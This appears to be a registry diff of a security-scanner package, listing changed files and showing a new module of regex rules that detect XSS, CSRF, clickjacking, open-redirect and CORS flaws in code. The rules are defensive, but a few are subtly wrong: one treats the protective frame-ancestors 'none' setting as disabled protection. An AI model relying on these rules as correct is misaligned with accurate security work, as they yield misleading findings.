vaspera 2.7.0 → 2.9.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +72 -0
- package/README.md +111 -7
- package/dist/__tests__/agents/adversary/tactics/api.test.d.ts +5 -0
- package/dist/__tests__/agents/adversary/tactics/api.test.d.ts.map +1 -0
- package/dist/__tests__/agents/adversary/tactics/api.test.js +369 -0
- package/dist/__tests__/agents/adversary/tactics/api.test.js.map +1 -0
- package/dist/__tests__/agents/adversary/tactics/llm.test.d.ts +5 -0
- package/dist/__tests__/agents/adversary/tactics/llm.test.d.ts.map +1 -0
- package/dist/__tests__/agents/adversary/tactics/llm.test.js +409 -0
- package/dist/__tests__/agents/adversary/tactics/llm.test.js.map +1 -0
- package/dist/__tests__/agents/adversary/tactics/registry.test.d.ts +7 -0
- package/dist/__tests__/agents/adversary/tactics/registry.test.d.ts.map +1 -0
- package/dist/__tests__/agents/adversary/tactics/registry.test.js +74 -0
- package/dist/__tests__/agents/adversary/tactics/registry.test.js.map +1 -0
- package/dist/__tests__/agents/adversary/tactics/web-app.test.d.ts +7 -0
- package/dist/__tests__/agents/adversary/tactics/web-app.test.d.ts.map +1 -0
- package/dist/__tests__/agents/adversary/tactics/web-app.test.js +374 -0
- package/dist/__tests__/agents/adversary/tactics/web-app.test.js.map +1 -0
- package/dist/__tests__/compliance-bundle.test.d.ts +9 -0
- package/dist/__tests__/compliance-bundle.test.d.ts.map +1 -0
- package/dist/__tests__/compliance-bundle.test.js +344 -0
- package/dist/__tests__/compliance-bundle.test.js.map +1 -0
- package/dist/__tests__/healthcare-compliance.test.d.ts +9 -0
- package/dist/__tests__/healthcare-compliance.test.d.ts.map +1 -0
- package/dist/__tests__/healthcare-compliance.test.js +233 -0
- package/dist/__tests__/healthcare-compliance.test.js.map +1 -0
- package/dist/action/diff-mode.d.ts +124 -8
- package/dist/action/diff-mode.d.ts.map +1 -1
- package/dist/action/diff-mode.js +384 -65
- package/dist/action/diff-mode.js.map +1 -1
- package/dist/action/diff-mode.test.js +3 -3
- package/dist/action/diff-mode.test.js.map +1 -1
- package/dist/action/pr-comment.test.js +1 -0
- package/dist/action/pr-comment.test.js.map +1 -1
- package/dist/action/sarif-upload.test.js +1 -0
- package/dist/action/sarif-upload.test.js.map +1 -1
- package/dist/agents/adversary/config.d.ts +113 -0
- package/dist/agents/adversary/config.d.ts.map +1 -0
- package/dist/agents/adversary/config.js +391 -0
- package/dist/agents/adversary/config.js.map +1 -0
- package/dist/agents/adversary/index.d.ts +41 -0
- package/dist/agents/adversary/index.d.ts.map +1 -0
- package/dist/agents/adversary/index.js +838 -0
- package/dist/agents/adversary/index.js.map +1 -0
- package/dist/agents/adversary/reporting/compliance-mapper.d.ts +108 -0
- package/dist/agents/adversary/reporting/compliance-mapper.d.ts.map +1 -0
- package/dist/agents/adversary/reporting/compliance-mapper.js +391 -0
- package/dist/agents/adversary/reporting/compliance-mapper.js.map +1 -0
- package/dist/agents/adversary/reporting/index.d.ts +10 -0
- package/dist/agents/adversary/reporting/index.d.ts.map +1 -0
- package/dist/agents/adversary/reporting/index.js +10 -0
- package/dist/agents/adversary/reporting/index.js.map +1 -0
- package/dist/agents/adversary/reporting/poc-generator.d.ts +44 -0
- package/dist/agents/adversary/reporting/poc-generator.d.ts.map +1 -0
- package/dist/agents/adversary/reporting/poc-generator.js +308 -0
- package/dist/agents/adversary/reporting/poc-generator.js.map +1 -0
- package/dist/agents/adversary/tactics/api.d.ts +13 -0
- package/dist/agents/adversary/tactics/api.d.ts.map +1 -0
- package/dist/agents/adversary/tactics/api.js +815 -0
- package/dist/agents/adversary/tactics/api.js.map +1 -0
- package/dist/agents/adversary/tactics/auth.d.ts +13 -0
- package/dist/agents/adversary/tactics/auth.d.ts.map +1 -0
- package/dist/agents/adversary/tactics/auth.js +676 -0
- package/dist/agents/adversary/tactics/auth.js.map +1 -0
- package/dist/agents/adversary/tactics/index.d.ts +129 -0
- package/dist/agents/adversary/tactics/index.d.ts.map +1 -0
- package/dist/agents/adversary/tactics/index.js +199 -0
- package/dist/agents/adversary/tactics/index.js.map +1 -0
- package/dist/agents/adversary/tactics/infra.d.ts +13 -0
- package/dist/agents/adversary/tactics/infra.d.ts.map +1 -0
- package/dist/agents/adversary/tactics/infra.js +827 -0
- package/dist/agents/adversary/tactics/infra.js.map +1 -0
- package/dist/agents/adversary/tactics/injection.d.ts +12 -0
- package/dist/agents/adversary/tactics/injection.d.ts.map +1 -0
- package/dist/agents/adversary/tactics/injection.js +549 -0
- package/dist/agents/adversary/tactics/injection.js.map +1 -0
- package/dist/agents/adversary/tactics/llm.d.ts +13 -0
- package/dist/agents/adversary/tactics/llm.d.ts.map +1 -0
- package/dist/agents/adversary/tactics/llm.js +767 -0
- package/dist/agents/adversary/tactics/llm.js.map +1 -0
- package/dist/agents/adversary/tactics/web-app.d.ts +13 -0
- package/dist/agents/adversary/tactics/web-app.d.ts.map +1 -0
- package/dist/agents/adversary/tactics/web-app.js +717 -0
- package/dist/agents/adversary/tactics/web-app.js.map +1 -0
- package/dist/agents/adversary/types.d.ts +407 -0
- package/dist/agents/adversary/types.d.ts.map +1 -0
- package/dist/agents/adversary/types.js +12 -0
- package/dist/agents/adversary/types.js.map +1 -0
- package/dist/agents/index.d.ts +1 -0
- package/dist/agents/index.d.ts.map +1 -1
- package/dist/agents/index.js +2 -0
- package/dist/agents/index.js.map +1 -1
- package/dist/agents/zero-day-hunter.d.ts +1 -1
- package/dist/agents/zero-day-hunter.d.ts.map +1 -1
- package/dist/analysis/data-flow.d.ts +154 -0
- package/dist/analysis/data-flow.d.ts.map +1 -0
- package/dist/analysis/data-flow.js +393 -0
- package/dist/analysis/data-flow.js.map +1 -0
- package/dist/analysis/index.d.ts +9 -0
- package/dist/analysis/index.d.ts.map +1 -0
- package/dist/analysis/index.js +9 -0
- package/dist/analysis/index.js.map +1 -0
- package/dist/badge-service/index.d.ts +144 -0
- package/dist/badge-service/index.d.ts.map +1 -0
- package/dist/badge-service/index.js +206 -0
- package/dist/badge-service/index.js.map +1 -0
- package/dist/certification/consensus.test.js +2 -0
- package/dist/certification/consensus.test.js.map +1 -1
- package/dist/certification/store.d.ts.map +1 -1
- package/dist/certification/store.js +4 -0
- package/dist/certification/store.js.map +1 -1
- package/dist/certification/types.d.ts +3 -3
- package/dist/certification/types.d.ts.map +1 -1
- package/dist/certification/types.js +2 -0
- package/dist/certification/types.js.map +1 -1
- package/dist/commands/certification/certify.d.ts.map +1 -1
- package/dist/commands/certification/certify.js +18 -4
- package/dist/commands/certification/certify.js.map +1 -1
- package/dist/compliance/attestation.d.ts +39 -0
- package/dist/compliance/attestation.d.ts.map +1 -0
- package/dist/compliance/attestation.js +364 -0
- package/dist/compliance/attestation.js.map +1 -0
- package/dist/compliance/cfr42-part2.d.ts +42 -0
- package/dist/compliance/cfr42-part2.d.ts.map +1 -0
- package/dist/compliance/cfr42-part2.js +408 -0
- package/dist/compliance/cfr42-part2.js.map +1 -0
- package/dist/compliance/compliance-bundle.d.ts +100 -0
- package/dist/compliance/compliance-bundle.d.ts.map +1 -0
- package/dist/compliance/compliance-bundle.js +210 -0
- package/dist/compliance/compliance-bundle.js.map +1 -0
- package/dist/compliance/healthcare-bundle.d.ts +68 -0
- package/dist/compliance/healthcare-bundle.d.ts.map +1 -0
- package/dist/compliance/healthcare-bundle.js +104 -0
- package/dist/compliance/healthcare-bundle.js.map +1 -0
- package/dist/compliance/hipaa.d.ts.map +1 -1
- package/dist/compliance/hipaa.js +14 -11
- package/dist/compliance/hipaa.js.map +1 -1
- package/dist/compliance/index.d.ts +10 -2
- package/dist/compliance/index.d.ts.map +1 -1
- package/dist/compliance/index.js +9 -3
- package/dist/compliance/index.js.map +1 -1
- package/dist/compliance/mapper.d.ts.map +1 -1
- package/dist/compliance/mapper.js +3 -17
- package/dist/compliance/mapper.js.map +1 -1
- package/dist/compliance/nist-800-53.d.ts +22 -6
- package/dist/compliance/nist-800-53.d.ts.map +1 -1
- package/dist/compliance/nist-800-53.js +264 -272
- package/dist/compliance/nist-800-53.js.map +1 -1
- package/dist/compliance/report.d.ts +31 -2
- package/dist/compliance/report.d.ts.map +1 -1
- package/dist/compliance/report.js +255 -4
- package/dist/compliance/report.js.map +1 -1
- package/dist/compliance/types.d.ts +1 -1
- package/dist/compliance/types.d.ts.map +1 -1
- package/dist/config/flags.d.ts +12 -12
- package/dist/cost/index.d.ts +1 -1
- package/dist/cost/index.d.ts.map +1 -1
- package/dist/cost/index.js +1 -1
- package/dist/cost/index.js.map +1 -1
- package/dist/cost/tracker.d.ts +64 -0
- package/dist/cost/tracker.d.ts.map +1 -1
- package/dist/cost/tracker.js +165 -0
- package/dist/cost/tracker.js.map +1 -1
- package/dist/eval/fixtures/healthcare/audit-gaps.d.ts +28 -0
- package/dist/eval/fixtures/healthcare/audit-gaps.d.ts.map +1 -0
- package/dist/eval/fixtures/healthcare/audit-gaps.js +90 -0
- package/dist/eval/fixtures/healthcare/audit-gaps.js.map +1 -0
- package/dist/eval/fixtures/healthcare/consent-bypass.d.ts +31 -0
- package/dist/eval/fixtures/healthcare/consent-bypass.d.ts.map +1 -0
- package/dist/eval/fixtures/healthcare/consent-bypass.js +61 -0
- package/dist/eval/fixtures/healthcare/consent-bypass.js.map +1 -0
- package/dist/eval/fixtures/healthcare/phi-in-logs.d.ts +24 -0
- package/dist/eval/fixtures/healthcare/phi-in-logs.d.ts.map +1 -0
- package/dist/eval/fixtures/healthcare/phi-in-logs.js +41 -0
- package/dist/eval/fixtures/healthcare/phi-in-logs.js.map +1 -0
- package/dist/evidence/collector.d.ts +21 -0
- package/dist/evidence/collector.d.ts.map +1 -0
- package/dist/evidence/collector.js +340 -0
- package/dist/evidence/collector.js.map +1 -0
- package/dist/evidence/index.d.ts +11 -0
- package/dist/evidence/index.d.ts.map +1 -0
- package/dist/evidence/index.js +12 -0
- package/dist/evidence/index.js.map +1 -0
- package/dist/evidence/store.d.ts +39 -0
- package/dist/evidence/store.d.ts.map +1 -0
- package/dist/evidence/store.js +173 -0
- package/dist/evidence/store.js.map +1 -0
- package/dist/evidence/types.d.ts +175 -0
- package/dist/evidence/types.d.ts.map +1 -0
- package/dist/evidence/types.js +9 -0
- package/dist/evidence/types.js.map +1 -0
- package/dist/exporters/checkmarx.d.ts +18 -0
- package/dist/exporters/checkmarx.d.ts.map +1 -0
- package/dist/exporters/checkmarx.js +203 -0
- package/dist/exporters/checkmarx.js.map +1 -0
- package/dist/exporters/index.d.ts +22 -0
- package/dist/exporters/index.d.ts.map +1 -0
- package/dist/exporters/index.js +41 -0
- package/dist/exporters/index.js.map +1 -0
- package/dist/exporters/snyk.d.ts +18 -0
- package/dist/exporters/snyk.d.ts.map +1 -0
- package/dist/exporters/snyk.js +119 -0
- package/dist/exporters/snyk.js.map +1 -0
- package/dist/exporters/sonarqube.d.ts +18 -0
- package/dist/exporters/sonarqube.d.ts.map +1 -0
- package/dist/exporters/sonarqube.js +125 -0
- package/dist/exporters/sonarqube.js.map +1 -0
- package/dist/exporters/types.d.ts +190 -0
- package/dist/exporters/types.d.ts.map +1 -0
- package/dist/exporters/types.js +9 -0
- package/dist/exporters/types.js.map +1 -0
- package/dist/frontier/index.d.ts +12 -0
- package/dist/frontier/index.d.ts.map +1 -0
- package/dist/frontier/index.js +12 -0
- package/dist/frontier/index.js.map +1 -0
- package/dist/frontier/orchestrator.d.ts +73 -0
- package/dist/frontier/orchestrator.d.ts.map +1 -0
- package/dist/frontier/orchestrator.js +312 -0
- package/dist/frontier/orchestrator.js.map +1 -0
- package/dist/frontier/providers/stub.d.ts +32 -0
- package/dist/frontier/providers/stub.d.ts.map +1 -0
- package/dist/frontier/providers/stub.js +66 -0
- package/dist/frontier/providers/stub.js.map +1 -0
- package/dist/frontier/types.d.ts +318 -0
- package/dist/frontier/types.d.ts.map +1 -0
- package/dist/frontier/types.js +27 -0
- package/dist/frontier/types.js.map +1 -0
- package/dist/history/index.d.ts +13 -0
- package/dist/history/index.d.ts.map +1 -0
- package/dist/history/index.js +15 -0
- package/dist/history/index.js.map +1 -0
- package/dist/history/store.d.ts +74 -0
- package/dist/history/store.d.ts.map +1 -0
- package/dist/history/store.js +399 -0
- package/dist/history/store.js.map +1 -0
- package/dist/history/types.d.ts +282 -0
- package/dist/history/types.d.ts.map +1 -0
- package/dist/history/types.js +41 -0
- package/dist/history/types.js.map +1 -0
- package/dist/history/verify.d.ts +44 -0
- package/dist/history/verify.d.ts.map +1 -0
- package/dist/history/verify.js +230 -0
- package/dist/history/verify.js.map +1 -0
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +431 -18
- package/dist/index.js.map +1 -1
- package/dist/multimodel/index.d.ts +1 -0
- package/dist/multimodel/index.d.ts.map +1 -1
- package/dist/multimodel/index.js +2 -0
- package/dist/multimodel/index.js.map +1 -1
- package/dist/multimodel/leaderboard.d.ts +116 -0
- package/dist/multimodel/leaderboard.d.ts.map +1 -0
- package/dist/multimodel/leaderboard.js +262 -0
- package/dist/multimodel/leaderboard.js.map +1 -0
- package/dist/observability/otel.d.ts.map +1 -1
- package/dist/observability/otel.js +1 -3
- package/dist/observability/otel.js.map +1 -1
- package/dist/plugins/loader.js +1 -1
- package/dist/plugins/loader.js.map +1 -1
- package/dist/sbom/provenance.test.js +2 -2
- package/dist/sbom/provenance.test.js.map +1 -1
- package/dist/scanners/agent/agent-chain-analysis.d.ts +152 -0
- package/dist/scanners/agent/agent-chain-analysis.d.ts.map +1 -0
- package/dist/scanners/agent/agent-chain-analysis.js +438 -0
- package/dist/scanners/agent/agent-chain-analysis.js.map +1 -0
- package/dist/scanners/agent/manifest-audit.d.ts.map +1 -1
- package/dist/scanners/agent/manifest-audit.js +30 -18
- package/dist/scanners/agent/manifest-audit.js.map +1 -1
- package/dist/scanners/agent/payloads/index.d.ts +2 -1
- package/dist/scanners/agent/payloads/index.d.ts.map +1 -1
- package/dist/scanners/agent/payloads/index.js +25 -6
- package/dist/scanners/agent/payloads/index.js.map +1 -1
- package/dist/scanners/agent/prompt-injection-fuzzer.d.ts.map +1 -1
- package/dist/scanners/agent/prompt-injection-fuzzer.js +14 -0
- package/dist/scanners/agent/prompt-injection-fuzzer.js.map +1 -1
- package/dist/scanners/agent/types.d.ts +5 -5
- package/dist/scanners/agent/types.d.ts.map +1 -1
- package/dist/scanners/agent/types.js.map +1 -1
- package/dist/scanners/cache.d.ts +156 -0
- package/dist/scanners/cache.d.ts.map +1 -0
- package/dist/scanners/cache.js +462 -0
- package/dist/scanners/cache.js.map +1 -0
- package/dist/scanners/dependencies.d.ts.map +1 -1
- package/dist/scanners/dependencies.js +5 -6
- package/dist/scanners/dependencies.js.map +1 -1
- package/dist/scanners/gosec.d.ts.map +1 -1
- package/dist/scanners/gosec.js +47 -9
- package/dist/scanners/gosec.js.map +1 -1
- package/dist/scanners/healthcare.d.ts +29 -0
- package/dist/scanners/healthcare.d.ts.map +1 -0
- package/dist/scanners/healthcare.js +526 -0
- package/dist/scanners/healthcare.js.map +1 -0
- package/dist/scanners/index.d.ts +1 -0
- package/dist/scanners/index.d.ts.map +1 -1
- package/dist/scanners/index.js +33 -0
- package/dist/scanners/index.js.map +1 -1
- package/dist/scanners/index.test.js +6 -6
- package/dist/scanners/index.test.js.map +1 -1
- package/dist/scanners/secrets.js +4 -4
- package/dist/scanners/secrets.js.map +1 -1
- package/dist/scanners/semgrep.js +5 -5
- package/dist/scanners/semgrep.js.map +1 -1
- package/dist/scanners/types.d.ts +1 -1
- package/dist/scanners/types.d.ts.map +1 -1
- package/dist/scanners/types.js +1 -0
- package/dist/scanners/types.js.map +1 -1
- package/dist/scanners/typescript.test.js +1 -1
- package/dist/scanners/typescript.test.js.map +1 -1
- package/dist/telemetry/index.d.ts +10 -0
- package/dist/telemetry/index.d.ts.map +1 -0
- package/dist/telemetry/index.js +10 -0
- package/dist/telemetry/index.js.map +1 -0
- package/dist/telemetry/registry.d.ts +178 -0
- package/dist/telemetry/registry.d.ts.map +1 -0
- package/dist/telemetry/registry.js +297 -0
- package/dist/telemetry/registry.js.map +1 -0
- package/dist/telemetry/usage.d.ts +197 -0
- package/dist/telemetry/usage.d.ts.map +1 -0
- package/dist/telemetry/usage.js +244 -0
- package/dist/telemetry/usage.js.map +1 -0
- package/package.json +11 -2
|
@@ -0,0 +1,717 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Web Application Tactics Module
|
|
3
|
+
*
|
|
4
|
+
* Detects web application vulnerabilities including XSS (stored, reflected,
|
|
5
|
+
* DOM-based), CSRF, Clickjacking, Open Redirect, and CORS misconfiguration.
|
|
6
|
+
* Priority 3 - client-side security controls.
|
|
7
|
+
*
|
|
8
|
+
* @module agents/adversary/tactics/web-app
|
|
9
|
+
*/
|
|
10
|
+
import { registerTactic, generateFindingId, } from "./index.js";
|
|
11
|
+
// ============================================================================
|
|
12
|
+
// Patterns
|
|
13
|
+
// ============================================================================
|
|
14
|
+
const XSS_STORED_PATTERNS = [
|
|
15
|
+
{
|
|
16
|
+
id: "xss-stored-dangerouslysetinnerhtml",
|
|
17
|
+
name: "Stored XSS via dangerouslySetInnerHTML",
|
|
18
|
+
description: "User content rendered with dangerouslySetInnerHTML without sanitization",
|
|
19
|
+
cwe: "CWE-79",
|
|
20
|
+
severity: "critical",
|
|
21
|
+
regex: /dangerouslySetInnerHTML\s*=\s*\{\s*\{\s*__html\s*:\s*(?!DOMPurify|sanitize)[^}]*(?:props\.|req\.|body\.|data\.|user\.|comment\.|post\.)/gi,
|
|
22
|
+
},
|
|
23
|
+
{
|
|
24
|
+
id: "xss-stored-innerhtml",
|
|
25
|
+
name: "Stored XSS via innerHTML",
|
|
26
|
+
description: "User content assigned to innerHTML without sanitization",
|
|
27
|
+
cwe: "CWE-79",
|
|
28
|
+
severity: "critical",
|
|
29
|
+
regex: /\.innerHTML\s*=\s*(?!DOMPurify|sanitize)[^;]*(?:req\.|body\.|data\.|user\.|comment\.|post\.|params\.)/gi,
|
|
30
|
+
},
|
|
31
|
+
{
|
|
32
|
+
id: "xss-stored-v-html",
|
|
33
|
+
name: "Stored XSS via v-html (Vue)",
|
|
34
|
+
description: "User content rendered with v-html directive without sanitization",
|
|
35
|
+
cwe: "CWE-79",
|
|
36
|
+
severity: "critical",
|
|
37
|
+
regex: /v-html\s*=\s*["'](?!sanitize)[^"']*(?:user\.|data\.|comment\.|post\.)/gi,
|
|
38
|
+
},
|
|
39
|
+
{
|
|
40
|
+
id: "xss-stored-ng-bind-html",
|
|
41
|
+
name: "Stored XSS via ng-bind-html (Angular)",
|
|
42
|
+
description: "User content rendered with ng-bind-html without $sanitize",
|
|
43
|
+
cwe: "CWE-79",
|
|
44
|
+
severity: "critical",
|
|
45
|
+
regex: /ng-bind-html\s*=\s*["'](?!\$sanitize)[^"']*(?:user\.|data\.|comment\.)/gi,
|
|
46
|
+
},
|
|
47
|
+
];
|
|
48
|
+
const XSS_REFLECTED_PATTERNS = [
|
|
49
|
+
{
|
|
50
|
+
id: "xss-reflected-query-param",
|
|
51
|
+
name: "Reflected XSS via Query Parameter",
|
|
52
|
+
description: "Query parameter reflected in response without encoding",
|
|
53
|
+
cwe: "CWE-79",
|
|
54
|
+
severity: "high",
|
|
55
|
+
regex: /(?:res\.send|res\.write|res\.end|innerHTML)\s*\([^)]*(?:req\.query|query\.|params\.|searchParams\.get)/gi,
|
|
56
|
+
},
|
|
57
|
+
{
|
|
58
|
+
id: "xss-reflected-template",
|
|
59
|
+
name: "Reflected XSS in Template",
|
|
60
|
+
description: "User input rendered in template without escaping",
|
|
61
|
+
cwe: "CWE-79",
|
|
62
|
+
severity: "high",
|
|
63
|
+
regex: /<(?:div|span|p|h\d)[^>]*>\s*\{\{\s*(?:query\.|params\.|search\.|input\.)/gi,
|
|
64
|
+
},
|
|
65
|
+
{
|
|
66
|
+
id: "xss-reflected-document-write",
|
|
67
|
+
name: "Reflected XSS via document.write",
|
|
68
|
+
description: "User input written to document without sanitization",
|
|
69
|
+
cwe: "CWE-79",
|
|
70
|
+
severity: "high",
|
|
71
|
+
regex: /document\.write(?:ln)?\s*\([^)]*(?:location\.|window\.location|params\.|query\.)/gi,
|
|
72
|
+
},
|
|
73
|
+
];
|
|
74
|
+
const XSS_DOM_PATTERNS = [
|
|
75
|
+
{
|
|
76
|
+
id: "xss-dom-location-hash",
|
|
77
|
+
name: "DOM XSS via location.hash",
|
|
78
|
+
description: "location.hash used in DOM sink without sanitization",
|
|
79
|
+
cwe: "CWE-79",
|
|
80
|
+
severity: "high",
|
|
81
|
+
regex: /(?:innerHTML|outerHTML|insertAdjacentHTML|document\.write)\s*[=\(][^;]*location\.hash/gi,
|
|
82
|
+
},
|
|
83
|
+
{
|
|
84
|
+
id: "xss-dom-location-search",
|
|
85
|
+
name: "DOM XSS via location.search",
|
|
86
|
+
description: "location.search parameters used in DOM sink",
|
|
87
|
+
cwe: "CWE-79",
|
|
88
|
+
severity: "high",
|
|
89
|
+
regex: /(?:innerHTML|eval|setTimeout|setInterval)\s*\([^)]*(?:location\.search|URLSearchParams)/gi,
|
|
90
|
+
},
|
|
91
|
+
{
|
|
92
|
+
id: "xss-dom-postmessage",
|
|
93
|
+
name: "DOM XSS via postMessage",
|
|
94
|
+
description: "postMessage data used in DOM sink without origin validation",
|
|
95
|
+
cwe: "CWE-79",
|
|
96
|
+
severity: "high",
|
|
97
|
+
regex: /addEventListener\s*\(\s*['"]message['"][^)]*\)(?![^}]*(?:origin|source\.origin))[^}]*(?:innerHTML|eval|document\.write)/gis,
|
|
98
|
+
},
|
|
99
|
+
{
|
|
100
|
+
id: "xss-dom-eval-location",
|
|
101
|
+
name: "DOM XSS via eval with URL data",
|
|
102
|
+
description: "eval() or Function() with URL-derived data",
|
|
103
|
+
cwe: "CWE-79",
|
|
104
|
+
severity: "critical",
|
|
105
|
+
regex: /(?:eval|Function)\s*\([^)]*(?:location\.|window\.location|document\.URL|document\.referrer)/gi,
|
|
106
|
+
},
|
|
107
|
+
];
|
|
108
|
+
const CSRF_PATTERNS = [
|
|
109
|
+
{
|
|
110
|
+
id: "csrf-missing-token",
|
|
111
|
+
name: "CSRF: Missing Token Validation",
|
|
112
|
+
description: "State-changing endpoint without CSRF token validation",
|
|
113
|
+
cwe: "CWE-352",
|
|
114
|
+
severity: "high",
|
|
115
|
+
regex: /(?:router|app)\.\s*(?:post|put|delete|patch)\s*\([^)]*\)(?![^}]{0,500}(?:csrf|_csrf|csrfToken|csrf-token))/gis,
|
|
116
|
+
},
|
|
117
|
+
{
|
|
118
|
+
id: "csrf-disabled",
|
|
119
|
+
name: "CSRF: Protection Disabled",
|
|
120
|
+
description: "CSRF protection explicitly disabled",
|
|
121
|
+
cwe: "CWE-352",
|
|
122
|
+
severity: "high",
|
|
123
|
+
regex: /csrf\s*:\s*false|ignoreMethods\s*:\s*\[[^\]]*(?:POST|PUT|DELETE)/gi,
|
|
124
|
+
},
|
|
125
|
+
{
|
|
126
|
+
id: "csrf-samesite-none",
|
|
127
|
+
name: "CSRF: SameSite=None Cookie",
|
|
128
|
+
description: "Cookie with SameSite=None allows cross-site requests",
|
|
129
|
+
cwe: "CWE-352",
|
|
130
|
+
severity: "medium",
|
|
131
|
+
regex: /sameSite\s*:\s*['"]?none['"]?/gi,
|
|
132
|
+
},
|
|
133
|
+
{
|
|
134
|
+
id: "csrf-ajax-no-header",
|
|
135
|
+
name: "CSRF: AJAX without Custom Header",
|
|
136
|
+
description: "AJAX state-change without custom header or token",
|
|
137
|
+
cwe: "CWE-352",
|
|
138
|
+
severity: "medium",
|
|
139
|
+
regex: /fetch\s*\([^)]*method\s*:\s*['"](?:POST|PUT|DELETE)['"](?![^}]*(?:X-CSRF-Token|X-Requested-With|headers))/gis,
|
|
140
|
+
},
|
|
141
|
+
];
|
|
142
|
+
const CLICKJACKING_PATTERNS = [
|
|
143
|
+
{
|
|
144
|
+
id: "clickjacking-no-frame-options",
|
|
145
|
+
name: "Clickjacking: Missing X-Frame-Options",
|
|
146
|
+
description: "Response missing X-Frame-Options or CSP frame-ancestors",
|
|
147
|
+
cwe: "CWE-1021",
|
|
148
|
+
severity: "medium",
|
|
149
|
+
regex: /(?:helmet|securityHeaders|headers)\s*\([^)]*\)(?![^;]*(?:X-Frame-Options|frame-ancestors|frameguard))/gis,
|
|
150
|
+
},
|
|
151
|
+
{
|
|
152
|
+
id: "clickjacking-frame-options-disabled",
|
|
153
|
+
name: "Clickjacking: X-Frame-Options Disabled",
|
|
154
|
+
description: "X-Frame-Options protection explicitly disabled",
|
|
155
|
+
cwe: "CWE-1021",
|
|
156
|
+
severity: "medium",
|
|
157
|
+
regex: /frameguard\s*:\s*false|frame-ancestors\s*['"]none['"]/gi,
|
|
158
|
+
},
|
|
159
|
+
];
|
|
160
|
+
const OPEN_REDIRECT_PATTERNS = [
|
|
161
|
+
{
|
|
162
|
+
id: "open-redirect-query-param",
|
|
163
|
+
name: "Open Redirect via Query Parameter",
|
|
164
|
+
description: "Redirect to user-controlled URL without whitelist validation",
|
|
165
|
+
cwe: "CWE-601",
|
|
166
|
+
severity: "medium",
|
|
167
|
+
regex: /(?:res\.redirect|window\.location|location\.href)\s*\([^)]*(?:req\.query|query\.|params\.|searchParams\.get)(?![^)]*(?:whitelist|allowedDomains|startsWith|match\())/gi,
|
|
168
|
+
},
|
|
169
|
+
{
|
|
170
|
+
id: "open-redirect-header",
|
|
171
|
+
name: "Open Redirect via Referer/Origin Header",
|
|
172
|
+
description: "Redirect based on Referer or Origin header",
|
|
173
|
+
cwe: "CWE-601",
|
|
174
|
+
severity: "medium",
|
|
175
|
+
regex: /(?:redirect|location)\s*\([^)]*req\.(?:header|headers)\s*\(\s*['"](?:referer|origin)['"]/gi,
|
|
176
|
+
},
|
|
177
|
+
{
|
|
178
|
+
id: "open-redirect-post-login",
|
|
179
|
+
name: "Open Redirect in Post-Login Flow",
|
|
180
|
+
description: "Post-login redirect without URL validation",
|
|
181
|
+
cwe: "CWE-601",
|
|
182
|
+
severity: "high",
|
|
183
|
+
regex: /(?:login|authenticate)[^{]*\{[^}]*redirect[^}]*(?:returnUrl|redirect|next|continue)(?![^}]*(?:startsWith|match|whitelist))/gis,
|
|
184
|
+
},
|
|
185
|
+
];
|
|
186
|
+
const CORS_PATTERNS = [
|
|
187
|
+
{
|
|
188
|
+
id: "cors-reflect-origin",
|
|
189
|
+
name: "CORS: Reflected Origin",
|
|
190
|
+
description: "CORS reflects arbitrary origins without validation",
|
|
191
|
+
cwe: "CWE-942",
|
|
192
|
+
severity: "high",
|
|
193
|
+
regex: /['"]Access-Control-Allow-Origin['"],?\s*(?:req\.headers?\.origin|req\.header\(['"]origin)/gi,
|
|
194
|
+
},
|
|
195
|
+
{
|
|
196
|
+
id: "cors-null-origin",
|
|
197
|
+
name: "CORS: Null Origin Allowed",
|
|
198
|
+
description: "CORS allows 'null' origin (file:// bypass)",
|
|
199
|
+
cwe: "CWE-942",
|
|
200
|
+
severity: "medium",
|
|
201
|
+
regex: /['"]Access-Control-Allow-Origin['"],?\s*['"]null['"]/gi,
|
|
202
|
+
},
|
|
203
|
+
{
|
|
204
|
+
id: "cors-wildcard-credentials",
|
|
205
|
+
name: "CORS: Wildcard with Credentials",
|
|
206
|
+
description: "CORS wildcard (*) with credentials enabled",
|
|
207
|
+
cwe: "CWE-942",
|
|
208
|
+
severity: "high",
|
|
209
|
+
regex: /['"]Access-Control-Allow-Origin['"],?\s*['"][*]['"]/gi,
|
|
210
|
+
},
|
|
211
|
+
{
|
|
212
|
+
id: "cors-regex-bypass",
|
|
213
|
+
name: "CORS: Regex Validation Bypass",
|
|
214
|
+
description: "CORS origin validation using flawed regex",
|
|
215
|
+
cwe: "CWE-942",
|
|
216
|
+
severity: "medium",
|
|
217
|
+
regex: /(?:allowedOrigins|originWhitelist).*?\/.*?\.(?:endsWith|match)\s*\(/gi,
|
|
218
|
+
},
|
|
219
|
+
];
|
|
220
|
+
// ============================================================================
|
|
221
|
+
// Tactic Implementation
|
|
222
|
+
// ============================================================================
|
|
223
|
+
const webAppTactic = {
|
|
224
|
+
focusArea: "web-app",
|
|
225
|
+
name: "Web Application",
|
|
226
|
+
description: "Detects XSS, CSRF, Clickjacking, Open Redirect, and CORS vulnerabilities",
|
|
227
|
+
patterns: [
|
|
228
|
+
...XSS_STORED_PATTERNS,
|
|
229
|
+
...XSS_REFLECTED_PATTERNS,
|
|
230
|
+
...XSS_DOM_PATTERNS,
|
|
231
|
+
...CSRF_PATTERNS,
|
|
232
|
+
...CLICKJACKING_PATTERNS,
|
|
233
|
+
...OPEN_REDIRECT_PATTERNS,
|
|
234
|
+
...CORS_PATTERNS,
|
|
235
|
+
],
|
|
236
|
+
async analyzeFile(file, config) {
|
|
237
|
+
const findings = [];
|
|
238
|
+
for (const pattern of this.patterns) {
|
|
239
|
+
if (!pattern.regex)
|
|
240
|
+
continue;
|
|
241
|
+
// Reset regex state
|
|
242
|
+
pattern.regex.lastIndex = 0;
|
|
243
|
+
let match;
|
|
244
|
+
while ((match = pattern.regex.exec(file.content)) !== null) {
|
|
245
|
+
// Calculate line number
|
|
246
|
+
const beforeMatch = file.content.substring(0, match.index);
|
|
247
|
+
const lineNum = (beforeMatch.match(/\n/g) || []).length + 1;
|
|
248
|
+
// Skip if in comment
|
|
249
|
+
const line = file.lines[lineNum - 1] || "";
|
|
250
|
+
if (isInComment(line)) {
|
|
251
|
+
continue;
|
|
252
|
+
}
|
|
253
|
+
// Skip known false positives
|
|
254
|
+
if (isFalsePositive(match[0], pattern.id, file)) {
|
|
255
|
+
continue;
|
|
256
